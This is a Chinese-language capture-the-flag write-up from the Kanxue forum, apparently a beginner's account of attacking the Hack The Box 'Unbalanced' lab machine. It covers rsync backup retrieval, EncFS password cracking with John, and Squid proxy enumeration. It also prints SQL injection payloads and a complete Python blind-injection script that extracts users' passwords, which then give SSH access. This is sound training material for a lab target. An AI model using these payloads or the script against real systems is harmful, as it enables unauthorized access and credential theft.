HTB Unbalanced从靶场入门学渗透
2021-02-15 18:58:00 Author: mp.weixin.qq.com(查看原文) 阅读量:153 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:Buchiyexiao

0x00 简要介绍

Unbalanced算是自己HTB的第一个靶场,也是总共做过的第二个靶场,对于看了一大堆理论但是初步接触靶场的我,可能很多工具和指令都是第一次使用,所以可能文中涉及到的一些解释较多,技术水平比较菜,希望大佬轻喷

0x01 渗透环境

靶机IP:10.10.10.200
攻击机(kali)ip:10.10.14.35

0x02 渗透信息获取


常规操作,nmap或者masscan等渗透扫描工具对其端口扫描。
对端口进行简单分析,22端口ssh不赘述,873端口rsync是一款数据备份工具,3128端口squid-http是linux的代理。

0x03 漏洞利用

stackoverflow)找到了一个rsync的姿势。

甭管是啥,但是这些东西肯定有用,先拷贝下来。

sudo -rdt rsync://10.10.10.200/conf_backups ./xx文件夹

发现都是一些加密的文件,而我们的目标就是找到加密算法,通过上面rsync的利用,可以看到存在EncFS的加密函数,因此我们可以猜测文件都是借助EncFs进行加密,因此我们需要进行解密。
 
EncFs解密我找了感觉都没有用,最后发现Kali中自带的John工具可以解密也是挺吃惊的(Kali天下第一!,附上我找到的John工具源码,有需要的同学可以自行阅读koboi137/john: John the Ripper 1.9.0-jumbo-1+bleeding-47a8a9b98 2019-08-26 20:19:16 (github.com)。
然后借助john和大规模字典进行爆破。
可以爆破出密码为bubblegum,因为爆破时间较长,爆破完就关了所以忘记截图了......
 
利用得到的密码对文件进行解密:
然后可以借助一些正则匹配grep等工具寻找password和squid等相关信息
然后我们可以配置代理去访问intranet.unbalanced.htb,发现一个界面:

由于上面我们知道了password,我们借助squidclient去查看FQDN缓存统计信息和内容,发现172.17.0.1为负载均衡器,172.31.172.2/3为两个web服务器,访问172.17.0.1发现回显主机停止负载平衡进行安全维护,但是我们刚才访问intranet.unbalanced.htb为intranet.php,大胆猜测,它仍可以运行,所以访问发现确实仍存在。
 
进行简单的页面测试,然后没有发现什么漏洞,陷入僵局....
 
后来网上找到了一个大佬的文章,发现这里其实是存在SQL注入的,SQL语句为:
SELECT FROM users WHERE Username='$Username' AND Password='$Password'
然后注入方法为'or'='or'
 
注入后语句为:
SELECT FROM users WHERE Username=''or'='or'' AND Password=''or'='or''
 
然后大佬又告诉我如何在知道用户名的情况下得到用户的密码,大佬构造的SQL语句为以下:
SELECT FROM users WHERE Username='' AND Password='' OR Password LIKE 'a%'SELECT FROM users WHERE Username='' AND Password='' OR substring(Password,1,1)='a'

然后借助bs4和requests进行遍历得到users的密码:
#!/usr/bin/python3# -*- coding: utf-8 -*- import stringfrom bs4 import BeautifulSoupimport requests users = ["rita", "jim", "bryan", "sarah"]  for user in users:    print(f"{user}: ", end="", flush=True)    for i in range(1, 31):        for c in string.printable[:94]:            print(c, end="", flush=True)            r = requests.post("http://172.31.179.1/intranet.php",                              data={"Username": "nobody",                                    "Password": f"' or substring(Password,{i},1)='{c}"},                              proxies={"http": "http://10.10.10.200:3128"})            soup = BeautifulSoup(r.text, "html.parser")            if d := soup.find("div", {"class": "m4"}):                if [p for p in d.find_all("p", {"class": "w3-opacity"}) if p.text.strip() == user]:                    break            print("\b", end="", flush=True)        else:            print(" ")            break

这里可以得到用户的账号和密码,尝试每组账号密码进行SSH连接,发现bryan可以登陆成功,得到user权限:

0x04 总结

尝试后发现bryan仅仅只是user权限,所以并没有获得root权限,也尝试了弱口令和已有口令拼接爆破,但是均无果。
 
查找了一些大佬的文章和视频,发现后面主要是利用了一个Pi-hole Gravity updater的安全漏洞构造了php的shellcode,具体利用见cve-2020-11108,这里由于我还没有仔细去看这个漏洞的位置和复现方法,所以不在多说。
 
作为自己渗透的前几台靶机,因为刚接触所以可能还不太灵活,目前个人认为的大概思路就是nmap或者其他工具进行扫描端口,发现端口,如果存在80端口或者一些代理转发的端口大概率从web页面入手,而如果存在一些其它端口,可以直接百度搜索该端口的漏洞,初步尝试使用msf寻找相关的攻击方法,攻击不成可以借助kali上的一些工具包进行测试,而web页面上一般都会存在着一些奇怪姿势的SQL或者弱口令(目前对于提权还不太掌握,需要进一步学习~~~

- End -

看雪ID:Buchiyexiao

https://bbs.pediy.com/user-home-905642.htm

  *本文由看雪论坛 Buchiyexiao 原创,转载请注明来自看雪社区。

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458381110&idx=1&sn=65647ce78fd24f9069c2a7117b56d6fd&chksm=b180dbbc86f752aa4cb23f55d5b3d6fada6e7c8aa4356d858ed746adfd842da853f33cd984ad#rd
如有侵权请联系:admin#unsafe.sh